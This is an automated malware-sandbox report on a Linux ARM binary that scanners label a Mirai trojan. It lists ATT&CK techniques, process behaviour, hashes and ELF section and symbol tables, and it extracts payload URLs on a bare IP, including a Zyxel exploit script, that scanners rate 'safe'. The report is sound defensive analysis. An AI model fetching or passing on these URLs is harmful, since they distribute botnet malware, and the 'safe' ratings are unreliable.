      Valid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionMasquerading1OS Credential Dumping1Security Software Discovery11Remote ServicesData from Local SystemExfiltration Over Other Network MediumData ObfuscationEavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition

      Malware Configuration

      No configs have been found

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      behaviorgraph top1 signatures2 2 Behavior Graph ID: 553498 Sample: UnHAnaAW.arm7 Startdate: 15/01/2022 Architecture: LINUX Score: 64 29 Multi AV Scanner detection for submitted file 2->29 31 Contains symbols with names commonly found in malware 2->31 8 UnHAnaAW.arm7 2->8         started        process3 process4 10 UnHAnaAW.arm7 8->10         started        12 UnHAnaAW.arm7 8->12         started        15 UnHAnaAW.arm7 8->15         started        signatures5 17 UnHAnaAW.arm7 10->17         started        19 UnHAnaAW.arm7 10->19         started        22 UnHAnaAW.arm7 10->22         started        24 4 other processes 10->24 37 Sample tries to kill multiple processes (SIGKILL) 12->37 process6 signatures7 26 UnHAnaAW.arm7 17->26         started        33 Sample tries to kill multiple processes (SIGKILL) 19->33 process8 signatures9 35 Sample tries to kill multiple processes (SIGKILL) 26->35

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      UnHAnaAW.arm754%VirustotalBrowse
      UnHAnaAW.arm756%ReversingLabsLinux.Trojan.Mirai

      Dropped Files

      No Antivirus matches

      Domains

      No Antivirus matches

      URLs

      SourceDetectionScannerLabelLink
      http://95.181.161.119/bins/x860%Avira URL Cloudsafe
      http://95.181.161.119/zyxel.sh;0%Avira URL Cloudsafe

      Domains and IPs

      Contacted Domains

      No contacted domains info

      URLs from Memory and Binaries

      NameSourceMaliciousAntivirus DetectionReputation
      http://95.181.161.119/bins/x86UnHAnaAW.arm7false
      • Avira URL Cloud: safe
      		unknown
      http://schemas.xmlsoap.org/soap/encoding/UnHAnaAW.arm7false
        		high
        http://95.181.161.119/zyxel.sh;UnHAnaAW.arm7false
        • Avira URL Cloud: safe
        		unknown
        http://schemas.xmlsoap.org/soap/envelope/UnHAnaAW.arm7false
          		high

          Contacted IPs

          No contacted IP infos


          Runtime Messages

          Command:/tmp/UnHAnaAW.arm7
          Exit Code:0
          Exit Code Info:
          Killed:False
          Standard Output:
          Infected By Cult
          Standard Error:

          Joe Sandbox View / Context

          IPs

          No context

          Domains

          No context

          ASN

          No context

          JA3 Fingerprints

          No context

          Dropped Files

          No context

          Created / dropped Files

          No created / dropped files found

          Static File Info

          General

          File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
          Entropy (8bit):5.988448843057042
          TrID:
          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
          File name:UnHAnaAW.arm7
          File size:161028
          MD5:5a6f9f201e4ca6a7fdac10e632cb58b8
          SHA1:930ce61517445d3401fa17e960c960772abd5b1b
          SHA256:306a86a5f20c305839fc374206ddc20bc38c88531d602782351871b0826dec1b
          SHA512:5aa41e11345d756f0e2d043e30cb47a7f0a2d42f1216da2b394580e69a3f88925adee9aa2612cee42ad353add2ab65220fd732048c352d34fcbb1147fbff543e
          SSDEEP:3072:RUaTnxyMJvlRi2edvQaLwBT9wI5OvX4KT2bH03fW53cgHeC8jHX1MROM/9uThe:RUaTnxyMJvlo2ed4aLwBT6I5VA3fW53B
          File Content Preview:.ELF..............(.........4...........4. ...(........pt...t...t.......................................................................l3..........................................Q.td..................................-...L..................@-.,@...0....S

          Static ELF Info

          ELF header

          Class:ELF32
          Data:2's complement, little endian
          Version:1 (current)
          Machine:ARM
          Version Number:0x1
          Type:EXEC (Executable file)
          OS/ABI:UNIX - System V
          ABI Version:0
          Entry Point Address:0x8194
          Flags:0x4000002
          ELF Header Size:52
          Program Header Offset:52
          Program Header Size:32
          Number of Program Headers:5
          Section Header Offset:131056
          Section Header Size:40
          Number of Section Headers:29
          Header String Table Index:26

          Sections

          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
          NULL0x00x00x00x00x0000
          .initPROGBITS0x80d40xd40x100x00x6AX004
          .textPROGBITS0x80f00xf00x187ac0x00x6AX0016
          .finiPROGBITS0x2089c0x1889c0x100x00x6AX004
          .rodataPROGBITS0x208ac0x188ac0x13b00x00x2A004
          .ARM.extabPROGBITS0x21c5c0x19c5c0x180x00x2A004
          .ARM.exidxARM_EXIDX0x21c740x19c740x1180x00x82AL204
          .eh_framePROGBITS0x2a0000x1a0000x40x00x3WA004
          .tbssNOBITS0x2a0040x1a0040x80x00x403WAT004
          .init_arrayINIT_ARRAY0x2a0040x1a0040x40x00x3WA004
          .fini_arrayFINI_ARRAY0x2a0080x1a0080x40x00x3WA004
          .jcrPROGBITS0x2a00c0x1a00c0x40x00x3WA004
          .gotPROGBITS0x2a0100x1a0100xa80x40x3WA004
          .dataPROGBITS0x2a0b80x1a0b80x2040x00x3WA004
          .bssNOBITS0x2a2bc0x1a2bc0x30b00x00x3WA004
          .commentPROGBITS0x00x1a2bc0x94c0x00x0001
          .debug_arangesPROGBITS0x00x1ac080xc00x00x0008
          .debug_pubnamesPROGBITS0x00x1acc80x2130x00x0001
          .debug_infoPROGBITS0x00x1aedb0x1d230x00x0001
          .debug_abbrevPROGBITS0x00x1cbfe0x6920x00x0001
          .debug_linePROGBITS0x00x1d2900x9c70x00x0001
          .debug_framePROGBITS0x00x1dc580x2b80x00x0004
          .debug_strPROGBITS0x00x1df100x8ca0x10x30MS001
          .debug_locPROGBITS0x00x1e7da0x118f0x00x0001
          .debug_rangesPROGBITS0x00x1f9690x5580x00x0001
          .ARM.attributesARM_ATTRIBUTES0x00x1fec10x160x00x0001
          .shstrtabSTRTAB0x00x1fed70x1170x00x0001
          .symtabSYMTAB0x00x204780x4b000x100x0286934
          .strtabSTRTAB0x00x24f780x258c0x00x0001

          Program Segments

          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
          EXIDX0x19c740x21c740x21c740x1180x1181.55630x4R 0x4.ARM.exidx
          LOAD0x00x80000x80000x19d8c0x19d8c3.21800x5R E0x8000.init .text .fini .rodata .ARM.extab .ARM.exidx
          LOAD0x1a0000x2a0000x2a0000x2bc0x336c2.26990x6RW 0x8000.eh_frame .init_array .fini_array .jcr .got .data .bss
          TLS0x1a0040x2a0040x2a0040x00x80.00000x4R 0x4
          GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

          Symbols

          NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
          .symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          .symtab0x80d40SECTION<unknown>DEFAULT1
          .symtab0x80f00SECTION<unknown>DEFAULT2
          .symtab0x2089c0SECTION<unknown>DEFAULT3
          .symtab0x208ac0SECTION<unknown>DEFAULT4
          .symtab0x21c5c0SECTION<unknown>DEFAULT5
          .symtab0x21c740SECTION<unknown>DEFAULT6
          .symtab0x2a0000SECTION<unknown>DEFAULT7
          .symtab0x2a0040SECTION<unknown>DEFAULT8
          .symtab0x2a0040SECTION<unknown>DEFAULT9
          .symtab0x2a0080SECTION<unknown>DEFAULT10
          .symtab0x2a00c0SECTION<unknown>DEFAULT11
          .symtab0x2a0100SECTION<unknown>DEFAULT12
          .symtab0x2a0b80SECTION<unknown>DEFAULT13
          .symtab0x2a2bc0SECTION<unknown>DEFAULT14
          .symtab0x00SECTION<unknown>DEFAULT15
          .symtab0x00SECTION<unknown>DEFAULT16
          .symtab0x00SECTION<unknown>DEFAULT17
          .symtab0x00SECTION<unknown>DEFAULT18
          .symtab0x00SECTION<unknown>DEFAULT19
          .symtab0x00SECTION<unknown>DEFAULT20
          .symtab0x00SECTION<unknown>DEFAULT21
          .symtab0x00SECTION<unknown>DEFAULT22
          .symtab0x00SECTION<unknown>DEFAULT23
          .symtab0x00SECTION<unknown>DEFAULT24
          .symtab0x00SECTION<unknown>DEFAULT25
          $a.symtab0x80d40NOTYPE<unknown>DEFAULT1
          $a.symtab0x2089c0NOTYPE<unknown>DEFAULT3
          $a.symtab0x80e00NOTYPE<unknown>DEFAULT1
          $a.symtab0x208a80NOTYPE<unknown>DEFAULT3
          $a.symtab0x80f00NOTYPE<unknown>DEFAULT2
          $a.symtab0x81340NOTYPE<unknown>DEFAULT2
          $a.symtab0x81940NOTYPE<unknown>DEFAULT2
          $a.symtab0x81d00NOTYPE<unknown>DEFAULT2
          $a.symtab0x822c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x83280NOTYPE<unknown>DEFAULT2
          $a.symtab0x85440NOTYPE<unknown>DEFAULT2
          $a.symtab0x85b00NOTYPE<unknown>DEFAULT2
          $a.symtab0x86200NOTYPE<unknown>DEFAULT2
          $a.symtab0x8e0c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x94b80NOTYPE<unknown>DEFAULT2
          $a.symtab0x9b640NOTYPE<unknown>DEFAULT2
          $a.symtab0xa2100NOTYPE<unknown>DEFAULT2
          $a.symtab0xa8bc0NOTYPE<unknown>DEFAULT2
          $a.symtab0xaf680NOTYPE<unknown>DEFAULT2
          $a.symtab0xb6140NOTYPE<unknown>DEFAULT2
          $a.symtab0xbcc80NOTYPE<unknown>DEFAULT2
          $a.symtab0xc3ac0NOTYPE<unknown>DEFAULT2
          $a.symtab0xc9c80NOTYPE<unknown>DEFAULT2
          $a.symtab0xcfe40NOTYPE<unknown>DEFAULT2
          $a.symtab0xd4d00NOTYPE<unknown>DEFAULT2
          $a.symtab0xdbc80NOTYPE<unknown>DEFAULT2
          $a.symtab0xe1e40NOTYPE<unknown>DEFAULT2
          $a.symtab0xe4840NOTYPE<unknown>DEFAULT2
          $a.symtab0xe7240NOTYPE<unknown>DEFAULT2
          $a.symtab0xe9c40NOTYPE<unknown>DEFAULT2
          $a.symtab0xecec0NOTYPE<unknown>DEFAULT2
          $a.symtab0xef900NOTYPE<unknown>DEFAULT2
          $a.symtab0xf2380NOTYPE<unknown>DEFAULT2
          $a.symtab0xf4d80NOTYPE<unknown>DEFAULT2
          $a.symtab0xfb6c0NOTYPE<unknown>DEFAULT2
          $a.symtab0xffa40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1060c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x106600NOTYPE<unknown>DEFAULT2
          $a.symtab0x10e140NOTYPE<unknown>DEFAULT2
          $a.symtab0x115c80NOTYPE<unknown>DEFAULT2
          $a.symtab0x116180NOTYPE<unknown>DEFAULT2
          $a.symtab0x116bc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x116e40NOTYPE<unknown>DEFAULT2
          $a.symtab0x117b80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1229c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x122c40NOTYPE<unknown>DEFAULT2
          $a.symtab0x128580NOTYPE<unknown>DEFAULT2
          $a.symtab0x12dec0NOTYPE<unknown>DEFAULT2
          $a.symtab0x12e040NOTYPE<unknown>DEFAULT2
          $a.symtab0x12f680NOTYPE<unknown>DEFAULT2
          $a.symtab0x12fb00NOTYPE<unknown>DEFAULT2
          $a.symtab0x130a00NOTYPE<unknown>DEFAULT2
          $a.symtab0x138840NOTYPE<unknown>DEFAULT2
          $a.symtab0x138e00NOTYPE<unknown>DEFAULT2
          $a.symtab0x139480NOTYPE<unknown>DEFAULT2
          $a.symtab0x13a180NOTYPE<unknown>DEFAULT2
          $a.symtab0x13af40NOTYPE<unknown>DEFAULT2
          $a.symtab0x13b1c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x13be40NOTYPE<unknown>DEFAULT2
          $a.symtab0x13d440NOTYPE<unknown>DEFAULT2
          $a.symtab0x147e00NOTYPE<unknown>DEFAULT2
          $a.symtab0x14d800NOTYPE<unknown>DEFAULT2
          $a.symtab0x154900NOTYPE<unknown>DEFAULT2
          $a.symtab0x154b40NOTYPE<unknown>DEFAULT2
          $a.symtab0x155540NOTYPE<unknown>DEFAULT2
          $a.symtab0x155f40NOTYPE<unknown>DEFAULT2
          $a.symtab0x15a940NOTYPE<unknown>DEFAULT2
          $a.symtab0x15abc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x15b900NOTYPE<unknown>DEFAULT2
          $a.symtab0x166880NOTYPE<unknown>DEFAULT2
          $a.symtab0x166b00NOTYPE<unknown>DEFAULT2
          $a.symtab0x166f80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1671c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x167400NOTYPE<unknown>DEFAULT2
          $a.symtab0x167ac0NOTYPE<unknown>DEFAULT2
          $a.symtab0x168e80NOTYPE<unknown>DEFAULT2
          $a.symtab0x169440NOTYPE<unknown>DEFAULT2
          $a.symtab0x169d80NOTYPE<unknown>DEFAULT2
          $a.symtab0x16a680NOTYPE<unknown>DEFAULT2
          $a.symtab0x16ae80NOTYPE<unknown>DEFAULT2
          $a.symtab0x16be40NOTYPE<unknown>DEFAULT2
          $a.symtab0x16c0c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x16ce00NOTYPE<unknown>DEFAULT2
          $a.symtab0x177800NOTYPE<unknown>DEFAULT2
          $a.symtab0x178940NOTYPE<unknown>DEFAULT2
          $a.symtab0x178a80NOTYPE<unknown>DEFAULT2
          $a.symtab0x179400NOTYPE<unknown>DEFAULT2
          $a.symtab0x17a340NOTYPE<unknown>DEFAULT2
          $a.symtab0x17a480NOTYPE<unknown>DEFAULT2
          $a.symtab0x17b280NOTYPE<unknown>DEFAULT2
          $a.symtab0x17b600NOTYPE<unknown>DEFAULT2
          $a.symtab0x17ba40NOTYPE<unknown>DEFAULT2
          $a.symtab0x17be40NOTYPE<unknown>DEFAULT2
          $a.symtab0x17c280NOTYPE<unknown>DEFAULT2
          $a.symtab0x17cac0NOTYPE<unknown>DEFAULT2
          $a.symtab0x17cec0NOTYPE<unknown>DEFAULT2
          $a.symtab0x17d780NOTYPE<unknown>DEFAULT2
          $a.symtab0x17da80NOTYPE<unknown>DEFAULT2
          $a.symtab0x17de80NOTYPE<unknown>DEFAULT2
          $a.symtab0x17ef80NOTYPE<unknown>DEFAULT2
          $a.symtab0x17fc80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1808c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1813c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x182240NOTYPE<unknown>DEFAULT2
          $a.symtab0x182440NOTYPE<unknown>DEFAULT2
          $a.symtab0x182800NOTYPE<unknown>DEFAULT2
          $a.symtab0x182900NOTYPE<unknown>DEFAULT2
          $a.symtab0x182a00NOTYPE<unknown>DEFAULT2
          $a.symtab0x183400NOTYPE<unknown>DEFAULT2
          $a.symtab0x183640NOTYPE<unknown>DEFAULT2
          $a.symtab0x1838c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x183d00NOTYPE<unknown>DEFAULT2
          $a.symtab0x184440NOTYPE<unknown>DEFAULT2
          $a.symtab0x184880NOTYPE<unknown>DEFAULT2
          $a.symtab0x184cc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x185400NOTYPE<unknown>DEFAULT2
          $a.symtab0x185840NOTYPE<unknown>DEFAULT2
          $a.symtab0x185cc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1860c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x186500NOTYPE<unknown>DEFAULT2
          $a.symtab0x186c00NOTYPE<unknown>DEFAULT2
          $a.symtab0x187080NOTYPE<unknown>DEFAULT2
          $a.symtab0x187900NOTYPE<unknown>DEFAULT2
          $a.symtab0x187d40NOTYPE<unknown>DEFAULT2
          $a.symtab0x188440NOTYPE<unknown>DEFAULT2
          $a.symtab0x188900NOTYPE<unknown>DEFAULT2
          $a.symtab0x189180NOTYPE<unknown>DEFAULT2
          $a.symtab0x189600NOTYPE<unknown>DEFAULT2
          $a.symtab0x189a40NOTYPE<unknown>DEFAULT2
          $a.symtab0x189f40NOTYPE<unknown>DEFAULT2
          $a.symtab0x18a080NOTYPE<unknown>DEFAULT2
          $a.symtab0x18acc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x18b380NOTYPE<unknown>DEFAULT2
          $a.symtab0x194e80NOTYPE<unknown>DEFAULT2
          $a.symtab0x196280NOTYPE<unknown>DEFAULT2
          $a.symtab0x199e80NOTYPE<unknown>DEFAULT2
          $a.symtab0x19e880NOTYPE<unknown>DEFAULT2
          $a.symtab0x19ec80NOTYPE<unknown>DEFAULT2
          $a.symtab0x19ff00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a0080NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a0ac0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a1640NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a2240NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a2c80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a3580NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a4300NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a5280NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a6140NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a6340NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a6500NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a8280NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a8ec0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1aa380NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b05c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b4280NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b4c00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b5080NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b5f80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b7340NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b78c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b7940NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b7c40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b81c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b8240NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b8540NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b8ac0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b8b40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b8e40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b93c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b9440NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b9700NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b9f80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1bad40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1bb940NOTYPE<unknown>DEFAULT2
          $a.symtab0x1bbe80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1bc400NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c02c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c0a80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c0d40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c15c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c1640NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c1700NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c1800NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c1900NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c1d00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c2380NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c29c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c33c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c3680NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c37c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c3900NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c3a40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c3cc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c4040NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c4440NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c4580NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c49c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c4dc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c51c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c57c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c5e80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c5fc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c7740NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c8600NOTYPE<unknown>DEFAULT2
          $a.symtab0x1cc040NOTYPE<unknown>DEFAULT2
          $a.symtab0x1cf340NOTYPE<unknown>DEFAULT2
          $a.symtab0x1cf540NOTYPE<unknown>DEFAULT2
          $a.symtab0x1d3b40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1d4340NOTYPE<unknown>DEFAULT2
          $a.symtab0x1d5980NOTYPE<unknown>DEFAULT2
          $a.symtab0x1d5c80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1d70c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1d8280NOTYPE<unknown>DEFAULT2
          $a.symtab0x1dad80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1de840NOTYPE<unknown>DEFAULT2
          $a.symtab0x1dfb00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e0500NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e4e00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e5000NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e5600NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e6500NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e73c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e7800NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e7d00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e81c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e8400NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e8bc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e9b40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ea2c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ea940NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ece80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ecf40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ed2c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ed840NOTYPE<unknown>DEFAULT2
          $a.symtab0x1eddc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ede80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ef300NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ef880NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f0640NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f0940NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f1380NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f15c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f19c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f20c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f3500NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f39c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f3e80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f3f00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f3f40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f4200NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f42c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f4380NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f6580NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f7a80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f7c40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f8240NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f8900NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f9480NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f9680NOTYPE<unknown>DEFAULT2
          $a.symtab0x1faac0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1fff40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1fffc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x200040NOTYPE<unknown>DEFAULT2
          $a.symtab0x2000c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x200c80NOTYPE<unknown>DEFAULT2
          $a.symtab0x2010c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x208200NOTYPE<unknown>DEFAULT2
          $a.symtab0x208680NOTYPE<unknown>DEFAULT2
          $d.symtab0x81280NOTYPE<unknown>DEFAULT2
          $d.symtab0x2a0080NOTYPE<unknown>DEFAULT10
          $d.symtab0x81800NOTYPE<unknown>DEFAULT2
          $d.symtab0x2a0040NOTYPE<unknown>DEFAULT9
          $d.symtab0x81c40NOTYPE<unknown>DEFAULT2
          $d.symtab0x83200NOTYPE<unknown>DEFAULT2
          $d.symtab0x8da00NOTYPE<unknown>DEFAULT2
          $d.symtab0x94b40NOTYPE<unknown>DEFAULT2
          $d.symtab0x9b600NOTYPE<unknown>DEFAULT2
          $d.symtab0xa20c0NOTYPE<unknown>DEFAULT2
          $d.symtab0xa8b80NOTYPE<unknown>DEFAULT2
          $d.symtab0xaf640NOTYPE<unknown>DEFAULT2
          $d.symtab0xb6100NOTYPE<unknown>DEFAULT2
          $d.symtab0xbcc40NOTYPE<unknown>DEFAULT2
          $d.symtab0xc3a80NOTYPE<unknown>DEFAULT2
          $d.symtab0xc9c40NOTYPE<unknown>DEFAULT2
          $d.symtab0xcfe00NOTYPE<unknown>DEFAULT2
          $d.symtab0xd4cc0NOTYPE<unknown>DEFAULT2
          $d.symtab0xdbc40NOTYPE<unknown>DEFAULT2
          $d.symtab0xe1e00NOTYPE<unknown>DEFAULT2
          $d.symtab0xece80NOTYPE<unknown>DEFAULT2
          $d.symtab0xfb680NOTYPE<unknown>DEFAULT2
          $d.symtab0xffa00NOTYPE<unknown>DEFAULT2
          $d.symtab0x105fc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x106580NOTYPE<unknown>DEFAULT2
          $d.symtab0x10e100NOTYPE<unknown>DEFAULT2
          $d.symtab0x115c40NOTYPE<unknown>DEFAULT2
          $d.symtab0x20c8c0NOTYPE<unknown>DEFAULT4
          $d.symtab0x116e00NOTYPE<unknown>DEFAULT2
          $d.symtab0x117b40NOTYPE<unknown>DEFAULT2
          $d.symtab0x1227c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x122c00NOTYPE<unknown>DEFAULT2
          $d.symtab0x128540NOTYPE<unknown>DEFAULT2
          $d.symtab0x12ddc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x12dfc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x12f5c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x12fa80NOTYPE<unknown>DEFAULT2
          $d.symtab0x1309c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1384c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x2a0b80NOTYPE<unknown>DEFAULT13
          $d.symtab0x2a0bc0NOTYPE<unknown>DEFAULT13
          $d.symtab0x2a0c00NOTYPE<unknown>DEFAULT13
          $d.symtab0x2a0c40NOTYPE<unknown>DEFAULT13
          $d.symtab0x138d00NOTYPE<unknown>DEFAULT2
          $d.symtab0x139380NOTYPE<unknown>DEFAULT2
          $d.symtab0x13a080NOTYPE<unknown>DEFAULT2
          $d.symtab0x13ae40NOTYPE<unknown>DEFAULT2
          $d.symtab0x13b180NOTYPE<unknown>DEFAULT2
          $d.symtab0x13be00NOTYPE<unknown>DEFAULT2
          $d.symtab0x13d380NOTYPE<unknown>DEFAULT2
          $d.symtab0x147bc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x14d0c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x2145b0NOTYPE<unknown>DEFAULT4
          $d.symtab0x214640NOTYPE<unknown>DEFAULT4
          $d.symtab0x154b00NOTYPE<unknown>DEFAULT2
          $d.symtab0x1554c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x155ec0NOTYPE<unknown>DEFAULT2
          $d.symtab0x15a180NOTYPE<unknown>DEFAULT2
          $d.symtab0x2a0c80NOTYPE<unknown>DEFAULT13
          $d.symtab0x15ab80NOTYPE<unknown>DEFAULT2
          $d.symtab0x15b8c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x166680NOTYPE<unknown>DEFAULT2
          $d.symtab0x16c080NOTYPE<unknown>DEFAULT2
          $d.symtab0x16cdc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x177600NOTYPE<unknown>DEFAULT2
          $d.symtab0x00NOTYPE<unknown>DEFAULT21
          $d.symtab0x200NOTYPE<unknown>DEFAULT21
          $d.symtab0x260NOTYPE<unknown>DEFAULT21
          $d.symtab0x179380NOTYPE<unknown>DEFAULT2
          $d.symtab0x17a240NOTYPE<unknown>DEFAULT2
          $d.symtab0x17b180NOTYPE<unknown>DEFAULT2
          $d.symtab0x17b5c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x17ba00NOTYPE<unknown>DEFAULT2
          $d.symtab0x17be00NOTYPE<unknown>DEFAULT2
          $d.symtab0x17c240NOTYPE<unknown>DEFAULT2
          $d.symtab0x17ca40NOTYPE<unknown>DEFAULT2
